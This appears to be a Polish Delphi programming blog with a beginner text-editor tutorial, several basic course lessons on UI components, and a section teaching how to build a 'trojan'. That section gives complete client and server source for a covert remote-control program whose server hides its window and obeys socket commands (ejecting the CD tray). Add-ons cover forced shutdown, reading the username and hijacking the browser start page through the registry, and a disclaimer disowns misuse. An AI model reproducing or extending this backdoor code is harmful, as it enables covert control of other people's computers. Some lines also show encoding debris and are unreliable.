Archiwum
RSS
wtorek, 03 czerwca 2008
Kod źródłowy FreeWord

Tak jak kiedyś napisałem, moim pierwszym programem napisanym w Delphi był prosty edytor tekstowy którego nazwałem FreeWord. Zrobiłem go tylko po to aby poszerzyć informacje na temat programowania.

Myślę że właśnie początkującym najlepiej przyda się to źródło.

Download: RapidShare.de

Jak zrobić prosty edytor tekstowy.
Tutaj nie ma za wiele do tłumaczenia, chyba każdy wie co to edytor tekstowy.

-----Co nam będzie potrzebne do pracy???-----

Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)

-----No to do roboty!!!!-----

1) Wrzucamy na formę 2 buttony z zakładki Standard (Caption : Otwórz, Zapisz)
2) Wrzucamy na formę 4 buttony z zakładki Standard (Caption : Wytnij, Wklej, Kopiuj, Usuń)
3) Wrzucamy na formę komponent Memo z zakładki Standard (w Memo szukamy w zakładce Properties : Scrollbars i zmieniamy wartość na ssVertical)
4) Wrzucamy na formę komponent OpenDialog z zakładki Dialogs
5) Wrzucamy na formę komponent SaveDialog z zakładki Dialogs

Ustawiamy wszystko według własnego uznania.
Mniej więcej powinno to tak wyglądać :

http://img526.imageshack.us/img526/623/21323312al5.jpg

-----Czas na kod!!!-----
Pomiędzy formą, a kodem możemy się przełączać naciskając przycisk F12.

--- Nad public declarations dopisujemy :

MyFile : TextFile;
MyText : String;



--- Klikamy 2x na przycisk "Otwórz" i wklepujemy kod :

procedure TForm1.Button1Click(Sender: TObject);
var AfterD : String;
        a : integer;
begin

Memo1.Clear;
AfterD := '';

if OpenDialog1.Execute then
        begin
        AssignFile(MyFile, OpenDialog1.FileName);
        Reset(MyFile);

        while not eof(MyFile) do
                begin
                    Readln(MyFile, MyText);
                    Memo1.Lines.Add(MyText);
                end;

        CloseFile(MyFile);
        end;
end;


--- Klikamy 2x na przycisk "Zapisz" i wklepujemy kod :

procedure TForm1.Button2Click(Sender: TObject);
begin
if SaveDialog1.Execute then
        begin
        AssignFile(MyFile, SaveDialog1.FileName);
        Rewrite(MyFile);
        Writeln(Myfile,Memo1.Lines.GetText);

        CloseFile(MyFile);

        end;

end;



--- Klikamy 2x na przycisk "Kopiuj" i wklepujemy kod :

procedure TForm1.Button3Click(Sender: TObject);
begin
Memo1.CopyToClipboard;
end;



--- Klikamy 2x na przycisk "Wklej" i wklepujemy kod :

procedure TForm1.Button4Click(Sender: TObject);
begin
Memo1.PasteFromClipboard;
end;



--- Klikamy 2x na przycisk "Wytnij" i wklepujemy kod :

procedure TForm1.Button5Click(Sender: TObject);
begin
Memo1.CutToClipboard;
end;



--- Klikamy 2x na przycisk "Usuń" i wklepujemy kod :

procedure TForm1.Button6Click(Sender: TObject);
begin
Memo1.SelText := '';
end;


No i to by było chyba na tyle!!!

Nie będę dawał źródła, tym razem sami sobie poradźcie :]

Program możecie udoskonalać jak wam się podoba, zmienić nazwę, modyfikować źródło itd.
Jeśli ktoś chce umieścić ten artykuł na swojej stronie, wystarczy mi wysłać PM i mnie o tym poinformować.

Jeśli ktoś wie mało o Delphi i chciałby się więcej nauczyć, podaje parę linków, które mogą się przydać :

http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html
http://www.4programmers.net/delphi/kompendium

Życzę miłej nauki!!! ;)
Jak zrobić trojana.

Dzisiaj przedstawie Wam jak zrobić prostego trojana.

/*Nie biorę odpowiedzialności za sposób wykożystania zawartych tu wiadomości,
ani za to co z tego wyjdzie.*/


Potrzebne przeczy:
Środowisko Delphi. Dostępny na stronie www.borland.pl
Komponenty TClientSoclet i TServerSocket.
Trochę chęci.

Instalacja komponentów
Uruchom Delphi.
Z menu Components wybierz Install Packagesr30;
Wybierz dclsockets70.bpl i kliknij OK.
Zrestartuj Delphi.

Klient.

Uruchom Delphi. W Inspektorze Obiektów (Object Inspector) zmień wartość Caption
na klient. Umieść na formularzu (formie) następujące komponenty:
-2x TLabel (zakładka Standard)
-4x TButton (zakładka Standard)
-1x TEdit (zakładka Standard)
-1x TClientSocket(zakładka Internet)

Potem ustaw Caption komponentu Label1 na Adres ip: i Label2 na Rozłączony.
Zmień Caption komponentu Button1 na Połącz, a drugiego Rozłącz. Usuń wartość
Text komponentu Edit.

Czas na kodowanie. Kliknij dwa razy na Button1 czyli Połącz. Automatycznie
przeniesie nas do edytora kodu. Pomiędzy begin i end; wpisz:

ClientSocket1.Address:=Edit1.Text; //Wartość Edit1
ClientSocket1.Active:=True; //Aktywuje ClientSocket1

Nie muszę chyba tłumaczyć? Kod pobiera adres z Edit1 i uaktywnia ClientSocket1.
Kliknij raz na komponent TClientSocket, przejdź do Inspektora Obiektów, przejdź
do zakładki Events (zdarzenia), kliknij dwa razy na puste pole OnConnect i
wpisz:

Label2.Caption:=r17;Połączonyr17;; //Zmienia tekst Label2 na Połączony

Ta czynność informuje nas, że klient połączył się z serwerem. To informuje nas,
że klient odłączył się od serwera. Kliknij na dwa razy na pole OnConnecting:

Label2.Caption:='Łączenie...'; //Łączenie

Kliknij teraz na OnDisconnect i wpisz:

Label2.Caption:='Rozłączony'; //zmieniamy Caption na Rożłączony


Jak widać klient się łączy. A gdy będzie błąd:

Label2.Caption:='Błąd przy połączeniu!'; //Błąd

Teraz, co zrobić by klient odłączył się od serwera. Kliknij dwa razy na
Button2(Rozłącz) i wpisz:

ClientSocket1.Active:=False;//Rozłączanie

Wiadomo:-). Jeszcze kliknij raz na komponent, TClientSocket i w Inspektorze
Obiektów wpisz port, przez jaki ma się komunikować Trojan.
Wszystko gotowe. Tylko Trojan jako tako nic nie robi.
Kliknij na Button3 i zmień jego nazwę na Wysuń CD.

ClientSocket1.Socket.SendText('cdout');//wysyłamy zmienną cdout

Wysyła zmienną cdout do serwera, który wysuwa CD-rom. Teraz nazwij Buutton4 Wsuń
CD.

ClientSocket1.Socket.SendText('cdin'); //wysyłamy zmienną cdin

Wysyła zmienną cdin do serwera, który wsuwa CD-rom.

Oto kod całego klienta:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Label1: TLabel;
Label2: TLabel;
Button3: TButton;
Button4: TButton;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;//Wartość Edit1
ClientSocket1.Active:=True;//Aktywuje ClientSocket1
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label2.Caption:='Połączony';//Zmienia tekst Label2 na Połączony
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label2.Caption:='Łączenie...';
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label2.Caption:='Rozłączony';//zmieniamy Caption na Rożłączony
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Label2.Caption:='Błąd przy połączeniu!';//Błąd
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Active:=False;//Rozłączanie
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('cdout');//wysyłamy zmienną cdout
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('cdin'); //wysyłamy zmienną cdin
end;

end.


Serwer

Otwórz Delphi Zmień Caption formy na serwer. Z zakładki Internet wybierz
komponent, TServerSocket i umieść go na formie.. Na początku, jeśli nie chcesz
by serwer był zauważony wciśnij kombinację klawiszy, Ctrl+F12 i wybierz
projekt2. Pod Application.CreateForm(TForm1, Form1); wpisz:
application.showmainform:=false;
Potem ustaw Active na True i wpisz port taki, jaki wpisałeś w kliencie. To
wszystko.

Teraz kliknij raz na ServerSocket i w Inspektorze Obiektów w zakładce Events
kliknij dwa razy na OnClientRead. Przed begin wpisz:

Var
wiadomość : String;

W głównej części procedury wpisz:

wiadomosc:=serversocket1.Socket.Connections[0].ReceiveText;//Odczytywanie
poleceń klienta

if (wiadomosc='cdout') // jezeli zmienna wiadomosc to cdout
then //to wtedy
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); //funkcja otwiera
cd-rom
end;

if (wiadomosc='cdin') // jezeli zmienna wiadomosc to cdin
then //to wtedy
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle); //funkcja zamyka
cd-rom
end;

Dopisz na początku w sekcji Uses MMSystem. To już wszystko. Trojan nie ma
zadziwiających możliwości ale jeśli chcesz to skorzystaj z dodatkowych funkcji
które zawarte są w punkcie 6

Oto kod całego serwera:

unit Unit1;

interface

uses
Windows, Messages, MMSystem, SysUtils, Variants, Classes, Graphics, Controls,
Forms,
Dialogs, ScktComp;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
wiadomosc : String;
begin
wiadomosc:=ServerSocket1.Socket.Connections[0].ReceiveText;
if (wiadomosc='cdout') // jezeli zmienna wiadomosc to cdout
then //to
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); //funkcja otwiera
cd-rom
end;

if (wiadomosc='cdin') // jezeli zmienna wiadomosc to cdin
then //to
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle); //funkcja zamyka
cd-rom
end;

end;

end.

Dodatkowe Funkcje

Jak zamknąć system, uruchomić ponownie Windows lub komputer?
Użyj funkcji:
ExitWindowsEx(funkcja,0);

Zamiast funkcja wpisz:

EWX_FORCE - wyjście bez pytania
EWX_LOGOFF - wylogowanie
EWX_POWEROFF - wyłączenie komputera
EWX_REBOOT - restart
EWX_SHUTDOWN - stan oszczędności

Jak odczytać nazwę aktualnie zalogowanego usera?
var
buffer:string;
buffSize:DWORD;
begin
buffSize:=128;
SetLength(buffer,BuffSize);
GetUserName(PChar(buffer), buffSize);
ShowMessage(buffer);
end;

Jak zmienić stronę startową?
Uses Registry;

var
rejestr : TRegistry;
nowastrona : String;
begin
nowastrona:=r17;www.google.plr17;;
rejestr:= TRegistry.Create;
rejestr.RootKey := HKEY_CURRENT_USER;
rejestr.OpenKey('SOFTWAREMicrosoftInternet ExplorerMain',False);
rejestr.WriteString('Start Page', nowastrona);
rejestr.CloseKey;
rejestr.Free;

To już koniec.

Kurs część 12, ostatnia.

Komponent tabeli

 

Do wypełnienia tabeli służy komponent String Grid. Tabele tę określa się mianem dwuwymiarowej (przypomina arkusz kalkulacyjny). Podstawowymi właściwościami tego komponentu są:

 

1. Cells[Acol, Arow:Integer] - właściwość, która w postaci łańcucha oddaje zawartość komórki wskazanej parametrami,

2. Cols[Index:Integer] - właściwość, która oddaje kolumnę o numerze Index,

3. Rows[Index:Integer] - właściwość, która oddaje wiersz o numerze Index,

4. ColCount - właściwość, która oddaje liczbę kolumn,

5. RowCount - właściwość, która oddaje liczbę wierszy,

6. OnSelectCell - procedura; oddaje w swoich parametrach współrzędne komórki zaznaczonej przez użytkownika. 

 

Zadanie 12.1. Utwórz elektroniczny dzienniczek ucznia. Aplikacja posiada tabelę, która zawiera liczbę przedmiotów oraz oceny.

 

1. Wstaw na formę komponent StringGrid.

2. W oknie ObjectInspector zmień jego właściwości:

  • Align:=AlClient; {tabela wypełni całkowity obszar okna}

  • ColCount:=10; {liczba kolumn}

  • FixedCols:=0; {liczba zamrożonych kolumn (bez możliwości edycji)}

  • RowCount:=10; {liczba wierszy tabeli = liczba przedmiotów}

3. Naciskając myszką znak "+" z lewej strony właściwości Options, rozwiń ich listę oraz zmodyfikuj pozycje:

  • goColSizing:=True; {zmiana rozmiarów szerokości kolumny}

  • goColMoving:=True; {możliwość przenoszenia kolumn}

  • goEditing:=True; {możliwość wpisywania wartości do tabeli}

  • goRowMoving:=True; {możliwość przenoszenia wierszy}

  • goTabs:=True; {przemieszczanie się po komórkach klawiszem Tab}

4. Przejdź do okna modułu i po słowie Implementation wpisz procedurę wypełniającą zawartość tabeli:

procedure wypelnij_tabele(var s:TstringGrid);
var i:integer;
begin
with s do begin
Cells[0,0]:='Przedmioty:';
Cells[0,1]:='j.polski';
Cells[0,2]:='matematyka';
Cells[0,3]:='j.angielski';
Cells[0,4]:='biologia';
Cells[0,5]:='chemia';
Cells[0,6]:='fizyka';
Cells[0,7]:='plastyka';
Cells[0,8]:='muzyka';
Cells[0,9]:='informatyka';
for i:=1 to 9 do
cells[i,0]:='ocena';
end;
end;

5. Wybierz formę w oknie ObjectInspector i dla zdarzenia onCreate ( z zakładki Events) wpisz procedurę:

procedure TForm1.FormCreate(Sender: TObject);
begin
wypelnij_tabele(StringGrid1);
end;

6. Sprawdź działanie programu (rysunek 12.1).

 

Rysunek 12.1. Działanie programu z zastosowaniem StringGrid.

 

 

 

To jest już koniec naszego kursu. Mam nadzieje że pomożę Ci on wejść w prawdziwy świat programowania.

Kurs cz.11

Komponentem, który służy do tworzenia na formie stron z zakładkami, jest PageControl.

 

Zadanie 11.1. Napisz program, który będzie zawierał pole tekstowe oraz dwa paski narzędziowe umieszczone na dwóch osobnych zakładkach. Na pierwszej z nich będzie się dokonywać operacji na tekście, a druga posłuży do zmiany wyglądu pola Memo

 

1. Wstaw na formę komponent PageControl z zakładki Win32.

2. Korzystając z menu kontekstowego, utwórz dwie zakładki (New Page): Operacje na tekście, Wygląd pola tekstowego.

3. Wstaw na formę komponent Memo.

4. Na pierwszej zakładce umieść przyciski: Wytnij, Kopiuj, Wklej i Zapisz do pliku.

5. Na drugiej zakładce umieść przyciski do zmieniania koloru pola tekstowego:

Czerwony, Zielony, Niebieski i Żółty.

6. Podepnij odpowiednie instrukcje pod przyciski.

 

  • Dla przycisku Zapisz do pliku wpisz instrukcję:

procedure TForm1.Button4Click(Sender: TObject);
begin
Memo1.Lines.SaveToFile('C:\swiatinformatyki.txt');
end;
  • Dla przycisku Kopiuj:

procedure TForm1.Button2Click(Sender: TObject);
begin
Memo1.CopyToClipboard;
end;
  • Dla przycisku Wytnij:

procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.CutToClipboard;
end;
  • Dla przycisku Wklej:

procedure TForm1.Button3Click(Sender: TObject);
begin
Memo1.PasteFromClipboard;
end;
  • Dla przycisków z poszczególnymi kolorami:

Czerwony - Memo1.Color:=ClRed;

Zielony - Memo1.Color:=ClGreen;

Niebieski - Memo1.Color:=ClBlue;

Żółty - Memo1.Color:=ClYellow;

 

7. Sprawdź działanie programu.

 

Rysunek 11.1. Strony z zakładkami.

Kurs cz.10

W poprzednich ćwiczeniach niejednokrotnie wykorzystywaliśmy komponent Memo.

Służył on jednak tylko do zobrazowania innych zagadnień. Tym razem poznamy metody użycia pola tekstowego. Podstawowymi instrukcjami, które wykorzystuje się w przypadku komponentu Memo są:

  1. CutToClipBoard - służy do wycinania zaznaczonego tekstu i chowania go do schowka.

  2. CopyToClipBoard - służy do kopiowania zaznaczonego tekstu do schowka.

  3. PasteFromClipBoard - powoduje wklejanie na wybranym miejscu tekstu znajdującego się w schowku.

  4. Clear - służy do usuwania zawartości komponentu Memo.

  5. ClearSelection - służy do usuwania zaznaczonej zawartości komponentu Memo.

Najważniejszą z właściwości pola tekstowego jest Lines (typ String). Dotyczy ona linii tekstu. Właściwość tę można zmieniać w oknie ObjectInspector lub korzystając z instrukcji:

  1. Lines.LoadFromFile(x:string); - oznacza ładowanie zawartości pliku o nazwie x (np. 'C:\tekst.txt') do pola Memo.

  2. Lines.SaveToFile(y:string); - oznacza zapisywanie zawartości pola Memo do pliku o nazwie y.

Zadanie 10.1. Utwórz aplikację, która zawiera pasek z narzędziami oraz pole tekstowe, tak aby, korzystając z komponentu ToolBar, można było kopiować, wycinać, wklejać zaznaczony tekst oraz zapisywać zawartość pola Memo do pliku C:\swiatinformatyki.txt.

 

1. Wstaw na formę komponenty ToolBar oraz Memo.

2. Dodaj do paska narzędiowego pięć przycisków.

3. Korzystając z informacji podanych w poprzednim ćwiczeniu, umieść na przyciskach obrazki.

4. Dodaj do przycisków dymki z opisem działania tych przycisków.

5. Pod kolejne przyciski podepnij odpowiednie procedury.

- dla przycisku do kopiowania tekstu:

procedure TForm1.ToolButton1Click(Sender: TObject);
begin
memo1.CopyToClipboard;
end;

- dla przycisku do wycinania tekstu:

procedure TForm1.ToolButton2Click(Sender: TObject);
begin
memo1.CutToClipBoard;
end;

- dla przycisku do wklejania tekstu:

procedure TForm1.ToolButton3Click(Sender: TObject);
begin
memo1.PasteFromClipboard;
end;

- dla przycisku do zapisywania tekstu:

procedure TForm1.ToolButton4Click(Sender: TObject);
begin
memo1.Lines.SaveToFile('C:\swiatinformatyki.txt');
end;

- dla przycisku wyłączającego działanie programu:

procedure TForm1.ToolButton5Click(Sender: TObject);
begin
close;
end;

6. Sprawdź działanie aplikacji.

 

 

Rysunek 10.1. Mini-Word :)

Kurs cz.9

Do tworzenia paska narzędzi służy komponent ToolBar z zakładki Win32.

 

Zadanie 9.1. Napisz program, który wyświetla okno do wpisywania tekstu, tworzy pasek z narzędziami do zmiany koloru komponentu Memo na żółty oraz kończy działanie aplikacji.

 

1. Wstaw na formę komponent ToolBar.

2. Klikając prawym przyciskiem na ten komponent, tworzymy dwa przyciski New Button (tak jak na rysunku 9.1).

 

Rysunek 9.1. Tworzenie przycisku dla paska narzędzi

 

3. Teraz wstawiamy na formę komponent ImageList.

4. Klikamy na ten komponent prawym przyciskiem i wybieramy opcję ImageListEditor.

5. Utworzymy listę obrazków dla tworzonych przycisków paska narzędziowego:

  • kliknij przycisk Add;

  • wybierz obrazki, które chcesz, aby wyświetlały się na przyciskach;

  • zatwierdź swój wybór za pomocą przycisku OK;

  • ustaw dla komponentu ToolBar właściwośc Images, wybierając z listy nazwę utworzonej listy obrazków.

6. Dla każdego przycisku z paska narzędzi utwórz dymek z tekstem objaśniającym działanie przycisku.

7. Wstaw na formę komponent Memo.

8. Zmień jego właściwość Align na AlClient. Automatycznie dostosuje się on do rozmiarów okna tworzonego programu.

9. Dla przycisku, który ma zmienić kolor okna przeznaczonego do wpisywania tekstu wprowadź procedurę:

memo1.color:=ClYellow;

a dla drugiego przycisku wprowadź procedurę:

close;

10. Sprawdź działanie programu (Rysunek 9.2)

 

Rysunek 9.2. Działanie programu z zadania 9.1.

Kurs cz.8

ScrollBar

 

Komponent ten służy do sterowania wielkością jakiegoś elementu, np. służy do przewijania zawartości okna.

 

Podstawowymi właściwościami ScrollBar są: 

  1. Position - wskazuje bieżącą pozycję suwaka.

  2. Min - oznacza początkową wartość pozycji paska przewijania.

  3. Max - oznacza końcową wartość pozycji paska przewijania.

  4. Kind - oznacza położenie - sbHorizontal lub sbVertical (Rysunek 8.1).

  5. Width - oznacza długość.

  6. Height - oznacza wysokość.

Rysunek 8.1. Położenie pasków przewijania

 

Zadanie 8.1. Utwórz program, który będzie zawierał pasek przewijania ScrollBar. Od ustawienia tego komponentu zależeć będzie napis na komponencie Panel.

 

1. Wstaw na formę komponent ScrollBar oraz Panel.

2. Zmień właściwości paska przewijania według poniższego wzoru:

  • Min:=1;

  • Max:=50;

  • Position:=25;

3. W oknie ObjectInspector wybierz zakładkę Events oraz dla zdarzenia OnChange wprowadź procedurę:

procedure TForm1.ScrollBar1Change(Sender: TObject);
begin
panel1.Caption:=IntToStr(ScrollBar1.Position);
end;

4. Sprawdź działanie aplikacji.

Rysunek 8.2. Zastosowanie paska przewijania

 

Uwaga! Pozycja suwaka jest to zmienna liczbowa (Integer). Aby można było ją wyświetlić jako napis na komponencie Panel (String), musisz zmienić jej typ za pomocą instrukcji IntToStr, która działa ona także w drugą stronę (StrToInt).

Kurs cz.7

ListBox

 

Podstawowymi właściwościami komponentu ListBox są:

1. Selected [numer] - wartość True tej właściwości oznacza, że element listy o określonym numerze jest wyselekcjonowany.

2. ItemIndex - właściwość ta określa numer (od zera) wyselekcjonowanego elementu.

 

Zadanie 7.1. Napisz aplikację, która będzie zawierać listę wyboru z nazwami kolorów. Po wybraniu koloru z listy nastąpi zmiana koloru okna programu.

 

1. Wstaw na formę komponent ListBox.

2. Zmodyfikuj odpowiednio właściwość Items komponentu, wpisując nazwy kolorów: czarny, biały, żółty, niebieski, czerwony.

3. Otwórz okno modułu (zdarzenie OnClick) dla formy w oknie ObjectInspector oraz wprowadź instrukcje:

Case ListBox1.ItemIndex of

0: Form1.Color:=ClBlack;

1: Form1.Color:=ClWhite;

2: Form1.Color:=ClYellow;

3: Form1.Color:=ClBlue;

4: Form1.Color:=ClRed;

end;

4. Sprawdź działanie programu (Rysunek 7.1)

Rysunek 7.1. Działanie programu z ćwiczenia 7.1 

 

Zadanie 7.2. Uzupełnij poprzedni program o etykietę oraz o dwa komponenty RadioButton, decydujące o tym, który element aplikacji ma zmieniać kolor (forma, czy etykieta).

 

1. Wstaw na formę etykietę (Label) oraz dwa przyciski opcji.

2. Zmień właściwość Caption przycisków na Etykieta oraz Okno formy.

3. Zmień właściwość Checked komponentu Okno formy na True.

4. Zmodyfikuj procedurę podpiętą pod listę wyboru na:

Case ListBox1.ItemIndex of
0: if RadioButton2.checked=true then Form1.Color:=ClBlack

else 

label1.Color:=ClBlack;
1: if RadioButton2.checked=true then Form1.Color:=ClWhite

else 

label1.Color:=ClWhite;
2: if RadioButton2.checked=true then Form1.Color:=ClYellow

else 

label1.Color:=ClYellow;
3: if RadioButton2.checked=true then Form1.Color:=ClBlue

else 

label1.Color:=ClBlue;
4: if RadioButton2.checked=true then Form1.Color:=ClRed

else 

label1.Color:=ClRed;

end;

5. Sprawdź działanie programu.

Rysunek 7.2. Przykład zastosowania komponentu ListBox oraz RadioButton

 

ComboBox

 

Komponent ComboBox stanowi połączenie wyboru z listy z edycją nowego lub poprawieniem wybranego elementu. 

 

Zadanie 7.3. Utwórz program, który po wybraniu imienia z pola ComboBox wyświetli jej jako napis na komponencie Label (Rysunek 7.3). Skorzystaj ze zdarzenia OnChange dla pola edycji z listą wyboru oraz instrukcji Label1.Caption:=ComboBox1.Text;.

 

Rysunek 7.3 Komponent ComboBox

Kurs cz.6

Przyciski wyboru tworzy się za pomocą komponentu CheckBox. Służą one do zaznaczania elementów grupy. W odróżnieniu od przycisków RadioButton jednocześnie może być wybrany więcej niż jeden składnik. 

 

Zadanie 6.1. Utwórz program, który za pomocą komponentów CheckBox będzie uwidaczniał komponenty typu Panel.

 

1. Wstaw na formę dwa komponenty CheckBox oraz Panel.

2. Zmień etykiety komponentów CheckBox na widoczny Panel1 oraz widoczny Panel2.

3. Zmień właściwość Visible komponentów Panel1 oraz Panel2 na False.

4. Podepnij pod przyciski wyboru odpowiednie instrukcje:

  • Dla pierwszego komponentu CheckBox:

if panel1.Visible=false then panel1.Visible:=true else panel1.Visible:=false;
  • Dla drugiego komponentu CheckBox:

if panel2.Visible=false then panel2.Visible:=true else panel2.Visible:=false;

5. Sprawdź działanie programu.

Rysunek 6.1. Działanie programu z ćwiczenia 6.1

 
1 , 2